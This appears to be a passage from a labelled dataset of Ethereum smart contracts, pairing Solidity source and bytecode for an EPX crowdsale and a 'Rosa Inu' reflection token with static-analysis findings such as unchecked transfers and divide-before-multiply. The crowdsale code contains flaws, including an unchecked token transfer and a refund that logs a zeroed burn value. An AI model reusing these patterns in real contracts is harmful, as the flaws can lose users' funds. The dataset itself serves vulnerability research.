d0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156108be57600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156108f1575060006104ad565b600160a060020a038416600090815260208190526040902054821115610919575060006104ad565b60008211801561093b575082600160a060020a031684600160a060020a031614155b156109f157600160a060020a038416600090815260016020908152604080832033845290915290205461096e9083610a46565b600160a060020a03851660008181526001602090815260408083203384528252808320949094559181529081905220546109a89083610a46565b600160a060020a0380861660009081526020819052604080822093909355908516815220546109d79083610a58565b600160a060020a0384166000908152602081905260409020555b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b600082821115610a5257fe5b50900390565b6000828201838110156104ad57fe5b6000600160a060020a0383161515610a7e57600080fd5b33600090815260208190526040902054821115610a9d57506000610414565b600082118015610ab6575033600160a060020a03841614155b15610b1b5733600090815260208190526040902054610ad59083610a46565b3360009081526020819052604080822092909255600160a060020a03851681522054610b019083610a58565b600160a060020a0384166000908152602081905260409020555b604080518381529051600160a060020a0385169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a72305820c0a7d951704b2bfd32b6f5a6c737e3d8b80ef6795dd78ae8fe282af7de0a44940029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
8,569
0x5A8658dE344972fC8b6b6a01Cd87a64bc7420A38
pragma solidity ^0.4.18; // ------------------------------------------------- // ethPoker.io EPX token - Presale & ICO token sale contract // Private Pre-sale preloaded sale contract // 150ETH capped contract (only 1.5M tokens @ best 10,000 EPX:1ETH) // 150ETH matches 1:1 ethPoker.io directors injection of 150ETH // contact <span class="__cf_email__" data-cfemail="5f3e3b3236311f3a2b372f30343a2d713630">[email&#160;protected]</span> for queries // Revision 20b // Refunds integrated, full test suite 20r passed // ------------------------------------------------- // ERC Token Standard #20 interface: // https://github.com/ethereum/EIPs/issues/20 // EPX contract sources: // https://github.com/EthPokerIO/ethpokerIO // ------------------------------------------------ // 2018 improvements: // - Updates to comply with latest Solidity versioning (0.4.18): // - Classification of internal/private vs public functions // - Specification of pure functions such as SafeMath integrated functions // - Conversion of all constant to view or pure dependant on state changed // - Full regression test of code updates // - Revision of block number timing for new Ethereum block times // - Removed duplicate Buy/Transfer event call in buyEPXtokens function (ethScan output verified) // - Burn event now records number of EPX tokens burned vs Refund event Eth // - Transfer event now fired when beneficiaryWallet withdraws // - Gas req optimisation for payable function to maximise compatibility // - Going live for initial Presale round 02/03/2018 // ------------------------------------------------- // Security reviews passed - cycle 20r // Functional reviews passed - cycle 20r // Final code revision and regression test cycle passed - cycle 20r // ------------------------------------------------- contract owned { address public owner; function owned() internal { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } contract safeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; safeAssert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { safeAssert(b > 0); uint256 c = a / b; safeAssert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { safeAssert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; safeAssert(c>=a && c>=b); return c; } function safeAssert(bool assertion) internal pure { if (!assertion) revert(); } } contract StandardToken is owned, safeMath { function balanceOf(address who) view public returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract EPXCrowdsale is owned, safeMath { // owner/admin & token reward address public admin = owner; // admin address StandardToken public tokenReward; // address of the token used as reward // deployment variables for static supply sale uint256 private initialTokenSupply; uint256 private tokensRemaining; // multi-sig addresses and price variable address private beneficiaryWallet; // beneficiaryMultiSig (founder group) or wallet account // uint256 values for min,max,caps,tracking uint256 public amountRaisedInWei; // uint256 public fundingMinCapInWei; // // loop control, ICO startup and limiters string public CurrentStatus = ""; // current crowdsale status uint256 public fundingStartBlock; // crowdsale start block# uint256 public fundingEndBlock; // crowdsale end block# bool public isCrowdSaleClosed = false; // crowdsale completion boolean bool private areFundsReleasedToBeneficiary = false; // boolean for founder to receive Eth or not bool public isCrowdSaleSetup = false; // boolean for crowdsale setup event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Buy(address indexed _sender, uint256 _eth, uint256 _EPX); event Refund(address indexed _refunder, uint256 _value); event Burn(address _from, uint256 _value); mapping(address => uint256) balancesArray; mapping(address => uint256) usersEPXfundValue; // default function, map admin function EPXCrowdsale() public onlyOwner { admin = msg.sender; CurrentStatus = "Crowdsale deployed to chain"; } // total number of tokens initially function initialEPXSupply() public view returns (uint256 initialEPXtokenCount) { return safeDiv(initialTokenSupply,10000); // div by 10,000 for display normalisation (4 decimals) } // remaining number of tokens function remainingEPXSupply() public view returns (uint256 remainingEPXtokenCount) { return safeDiv(tokensRemaining,10000); // div by 10,000 for display normalisation (4 decimals) } // setup the CrowdSale parameters function SetupCrowdsale(uint256 _fundingStartBlock, uint256 _fundingEndBlock) public onlyOwner returns (bytes32 response) { if ((msg.sender == admin) && (!(isCrowdSaleSetup)) && (!(beneficiaryWallet > 0))) { // init addresses beneficiaryWallet = 0x7A29e1343c6a107ce78199F1b3a1d2952efd77bA; tokenReward = StandardToken(0x35BAA72038F127f9f8C8f9B491049f64f377914d); // funding targets fundingMinCapInWei = 10000000000000000000; // update values amountRaisedInWei = 0; initialTokenSupply = 15000000000; tokensRemaining = initialTokenSupply; fundingStartBlock = _fundingStartBlock; fundingEndBlock = _fundingEndBlock; // configure crowdsale isCrowdSaleSetup = true; isCrowdSaleClosed = false; CurrentStatus = "Crowdsale is setup"; return "Crowdsale is setup"; } else if (msg.sender != admin) { return "not authorised"; } else { return "campaign cannot be changed"; } } function checkPrice() internal view returns (uint256 currentPriceValue) { if (block.number >= fundingStartBlock+177534) { // 30-day price change/final 30day change return (8500); //30days-end =8,500EPX:1ETH } else if (block.number >= fundingStartBlock+124274) { //3 week mark/over 21days return (9250); //3w-30days =9,250EPX:1ETH } else if (block.number >= fundingStartBlock) { // start [0 hrs] return (10000); //0-3weeks =10,000EPX:1ETH } } // default payable function when sending ether to this contract function () public payable { // 0. conditions (length, crowdsale setup, zero check, exceed funding contrib check, contract valid check, within funding block range check, balance overflow check etc) require(!(msg.value == 0) && (msg.data.length == 0) && (block.number <= fundingEndBlock) && (block.number >= fundingStartBlock) && (tokensRemaining > 0)); // 1. vars uint256 rewardTransferAmount = 0; // 2. effects amountRaisedInWei = safeAdd(amountRaisedInWei, msg.value); rewardTransferAmount = ((safeMul(msg.value, checkPrice())) / 100000000000000); // 3. interaction tokensRemaining = safeSub(tokensRemaining, rewardTransferAmount); tokenReward.transfer(msg.sender, rewardTransferAmount); // 4. events usersEPXfundValue[msg.sender] = safeAdd(usersEPXfundValue[msg.sender], msg.value); Buy(msg.sender, msg.value, rewardTransferAmount); } function beneficiaryMultiSigWithdraw(uint256 _amount) public onlyOwner { require(areFundsReleasedToBeneficiary && (amountRaisedInWei >= fundingMinCapInWei)); beneficiaryWallet.transfer(_amount); Transfer(this, beneficiaryWallet, _amount); } function checkGoalReached() public onlyOwner { // return crowdfund status to owner for each result case, update public vars // update state & status variables require (isCrowdSaleSetup); if ((amountRaisedInWei < fundingMinCapInWei) && (block.number <= fundingEndBlock && block.number >= fundingStartBlock)) { // ICO in progress, under softcap areFundsReleasedToBeneficiary = false; isCrowdSaleClosed = false; CurrentStatus = "In progress (Eth < Softcap)"; } else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number < fundingStartBlock)) { // ICO has not started areFundsReleasedToBeneficiary = false; isCrowdSaleClosed = false; CurrentStatus = "Crowdsale is setup"; } else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number > fundingEndBlock)) { // ICO ended, under softcap areFundsReleasedToBeneficiary = false; isCrowdSaleClosed = true; CurrentStatus = "Unsuccessful (Eth < Softcap)"; } else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining == 0)) { // ICO ended, all tokens bought! areFundsReleasedToBeneficiary = true; isCrowdSaleClosed = true; CurrentStatus = "Successful (EPX >= Hardcap)!"; } else if ((amountRaisedInWei >= fundingMinCapInWei) && (block.number > fundingEndBlock) && (tokensRemaining > 0)) { // ICO ended, over softcap! areFundsReleasedToBeneficiary = true; isCrowdSaleClosed = true; CurrentStatus = "Successful (Eth >= Softcap)!"; } else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining > 0) && (block.number <= fundingEndBlock)) { // ICO in progress, over softcap! areFundsReleasedToBeneficiary = true; isCrowdSaleClosed = false; CurrentStatus = "In progress (Eth >= Softcap)!"; } } function refund() public { // any contributor can call this to have their Eth returned. user&#39;s purchased EPX tokens are burned prior refund of Eth. //require minCap not reached require ((amountRaisedInWei < fundingMinCapInWei) && (isCrowdSaleClosed) && (block.number > fundingEndBlock) && (usersEPXfundValue[msg.sender] > 0)); //burn user&#39;s token EPX token balance, refund Eth sent uint256 ethRefund = usersEPXfundValue[msg.sender]; balancesArray[msg.sender] = 0; usersEPXfundValue[msg.sender] = 0; //record Burn event with number of EPX tokens burned Burn(msg.sender, usersEPXfundValue[msg.sender]); //send Eth back msg.sender.transfer(ethRefund); //record Refund event with number of Eth refunded in transaction Refund(msg.sender, ethRefund); } }
0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301cb3b2081146102825780631de1441f1461029757806337205d76146102bc578063590e1ae3146102e3578063670be445146102f65780636e66f6e91461030957806372729ff21461033857806379ca07921461034b5780637ee6b2d0146103615780638da5cb5b1461037457806391b43d1314610387578063a26d7b941461039a578063ac06e302146103ad578063d648a647146103c6578063e3306a6f146103d9578063f851a44014610463575b600034158015906100f4575036155b80156101025750600a544311155b801561011057506009544310155b801561011e57506000600454115b151561012957600080fd5b6000905061013960065434610476565b600655655af3107a40006101543461014f61049a565b6104dc565b81151561015d57fe5b04905061016c600454826104ff565b600455600254600160a060020a031663a9059cbb33836000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156101e757600080fd5b6102c65a03f115156101f857600080fd5b50505060405180515050600160a060020a0333166000908152600d60205260409020546102259034610476565b600160a060020a0333166000818152600d60205260409081902092909255907f1cbc5ab135991bd2b6a4b034a04aa2aa086dac1371cb9b16b8b5e2ed6b036bed90349084905191825260208201526040908101905180910390a250005b341561028d57600080fd5b610295610518565b005b34156102a257600080fd5b6102aa61082a565b60405190815260200160405180910390f35b34156102c757600080fd5b6102cf61083f565b604051901515815260200160405180910390f35b34156102ee57600080fd5b61029561084e565b341561030157600080fd5b6102aa610986565b341561031457600080fd5b61031c610996565b604051600160a060020a03909116815260200160405180910390f35b341561034357600080fd5b6102aa6109a5565b341561035657600080fd5b6102956004356109ab565b341561036c57600080fd5b6102aa610a66565b341561037f57600080fd5b61031c610a6c565b341561039257600080fd5b6102aa610a7b565b34156103a557600080fd5b6102cf610a81565b34156103b857600080fd5b6102aa600435602435610a8a565b34156103d157600080fd5b6102aa610c55565b34156103e457600080fd5b6103ec610c5b565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610428578082015183820152602001610410565b50505050905090810190601f1680156104555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561046e57600080fd5b61031c610cf9565b600082820161049384821080159061048e5750838210155b610d08565b9392505050565b6009546000906202b57e0143106104b457506121346104d9565b6009546201e5720143106104cb57506124226104d9565b60095443106104d957506127105b90565b600082820261049384158061048e57508385838115156104f857fe5b0414610d08565b600061050d83831115610d08565b508082035b92915050565b60005433600160a060020a0390811691161461053357600080fd5b600b5462010000900460ff16151561054a57600080fd5b60075460065410801561056c5750600a54431115801561056c57506009544310155b156105c957600b805461ffff1916905560408051908101604052601b81527f496e2070726f67726573732028457468203c20536f6674636170290000000000602082015260089080516105c3929160200190610d4b565b50610828565b6007546006541080156105dd575060095443105b1561063457600b805461ffff1916905560408051908101604052601281527f43726f776473616c652069732073657475700000000000000000000000000000602082015260089080516105c3929160200190610d4b565b6007546006541080156106485750600a5443115b156106a257600b805461ffff1916600117905560408051908101604052601c81527f556e7375636365737366756c2028457468203c20536f66746361702900000000602082015260089080516105c3929160200190610d4b565b600754600654101580156106b65750600454155b1561071a57600b805460ff1961ff00199091166101001716600117905560408051908101604052601c81527f5375636365737366756c2028455058203e3d2048617264636170292100000000602082015260089080516105c3929160200190610d4b565b6007546006541015801561072f5750600a5443115b801561073d57506000600454115b156107a157600b805460ff1961ff00199091166101001716600117905560408051908101604052601c81527f5375636365737366756c2028457468203e3d20536f6674636170292100000000602082015260089080516105c3929160200190610d4b565b600754600654101580156107b757506000600454115b80156107c55750600a544311155b1561082857600b805460ff1961ff00199091166101001716905560408051908101604052601d81527f496e2070726f67726573732028457468203e3d20536f6674636170292100000060208201526008908051610826929160200190610d4b565b505b565b600061083a600454612710610d14565b905090565b600b5462010000900460ff1681565b60006007546006541080156108655750600b5460ff165b80156108725750600a5443115b80156108945750600160a060020a0333166000908152600d6020526040812054115b151561089f57600080fd5b5033600160a060020a0381166000908152600d602081815260408084208054600c8452828620869055939092529083905590927fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca592909151600160a060020a03909216825260208201526040908101905180910390a1600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050151561094657600080fd5b33600160a060020a03167fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d8260405190815260200160405180910390a250565b600061083a600354612710610d14565b600254600160a060020a031681565b60065481565b60005433600160a060020a039081169116146109c657600080fd5b600b54610100900460ff1680156109e1575060075460065410155b15156109ec57600080fd5b600554600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515610a1f57600080fd5b600554600160a060020a039081169030167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a350565b60075481565b600054600160a060020a031681565b600a5481565b600b5460ff1681565b6000805433600160a060020a03908116911614610aa657600080fd5b60015433600160a060020a039081169116148015610acd5750600b5462010000900460ff16155b8015610ae757506005546000600160a060020a0390911611155b15610bf1576005805473ffffffffffffffffffffffffffffffffffffffff19908116737a29e1343c6a107ce78199f1b3a1d2952efd77ba17909155600280549091167335baa72038f127f9f8c8f9b491049f64f377914d179055678ac7230489e80000600755600060065564037e11d60060038190556004556009839055600a829055600b805460ff1962ff000019909116620100001716905560408051908101604052601281527f43726f776473616c65206973207365747570000000000000000000000000000060208201526008908051610bc8929160200190610d4b565b507f43726f776473616c6520697320736574757000000000000000000000000000009050610512565b60015433600160a060020a03908116911614610c2e57507f6e6f7420617574686f7269736564000000000000000000000000000000000000610512565b507f63616d706169676e2063616e6e6f74206265206368616e676564000000000000610512565b60095481565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cf15780601f10610cc657610100808354040283529160200191610cf1565b820191906000526020600020905b815481529060010190602001808311610cd457829003601f168201915b505050505081565b600154600160a060020a031681565b80151561082657600080fd5b600080610d2360008411610d08565b8284811515610d2e57fe5b0490506104938385811515610d3f57fe5b06828502018514610d08565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610d8c57805160ff1916838001178555610db9565b82800160010185558215610db9579182015b82811115610db9578251825591602001919060010190610d9e565b50610dc5929150610dc9565b5090565b6104d991905b80821115610dc55760008155600101610dcf5600a165627a7a723058207260eb66d3deb24d0c6ced93cb65cb8e5ec82311f473f1a00a2a7e786f9bc4ad0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
8,570
0x6ef95589b9373adfbce0011e0d36db4d95cab155
/** *Submitted for verification at Etherscan.io on 2021-05-26 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract RosaInu is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Rosa Inu'; string private _symbol = 'ROSA'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9; constructor () { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view override returns (string memory) { return _name; } function symbol() public view override returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = ((_tTotal * maxTxPercent) / 10**2); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rTotal = _rTotal - rAmount; _tFeeTotal = _tFeeTotal + tAmount; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return (rAmount / currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = ((tAmount / 100) * 5); uint256 tTransferAmount = tAmount - tFee; return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rTransferAmount = rAmount - rFee; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return (rSupply / tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e996146103ca578063d543dbeb146103fa578063dd62ed3e14610416578063f2cc0c1814610446578063f2fde38b14610462578063f84354f11461047e5761014d565b8063715018a6146103065780637d1db4a5146103105780638da5cb5b1461032e57806395d89b411461034c578063a457c2d71461036a578063a9059cbb1461039a5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634549b039146102a657806370a08231146102d65761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c57806313114a9d146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612d66565b61049a565b005b6101766105ff565b6040516101839190613398565b60405180910390f35b6101a660048036038101906101a19190612d2a565b610691565b6040516101b3919061337d565b60405180910390f35b6101c46106af565b6040516101d1919061357a565b60405180910390f35b6101e26106b9565b6040516101ef919061357a565b60405180910390f35b610212600480360381019061020d9190612cdb565b6106cc565b60405161021f919061337d565b60405180910390f35b610242600480360381019061023d9190612d66565b61084a565b60405161024f919061357a565b60405180910390f35b6102606108b1565b60405161026d9190613595565b60405180910390f35b610290600480360381019061028b9190612d2a565b6108c8565b60405161029d919061337d565b60405180910390f35b6102c060048036038101906102bb9190612d8f565b610974565b6040516102cd919061357a565b60405180910390f35b6102f060048036038101906102eb9190612c76565b6109ff565b6040516102fd919061357a565b60405180910390f35b61030e610aea565b005b610318610c24565b604051610325919061357a565b60405180910390f35b610336610c2a565b6040516103439190613362565b60405180910390f35b610354610c53565b6040516103619190613398565b60405180910390f35b610384600480360381019061037f9190612d2a565b610ce5565b604051610391919061337d565b60405180910390f35b6103b460048036038101906103af9190612d2a565b610e57565b6040516103c1919061337d565b60405180910390f35b6103e460048036038101906103df9190612c76565b610e75565b6040516103f1919061337d565b60405180910390f35b610414600480360381019061040f9190612d66565b610ecb565b005b610430600480360381019061042b9190612c9f565b610f73565b60405161043d919061357a565b60405180910390f35b610460600480360381019061045b9190612c76565b610ffa565b005b61047c60048036038101906104779190612c76565b611295565b005b61049860048036038101906104939190612c76565b61143e565b005b60006104a461180c565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052a9061353a565b60405180910390fd5b600061053e83611814565b50505050905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461058f91906136ad565b600160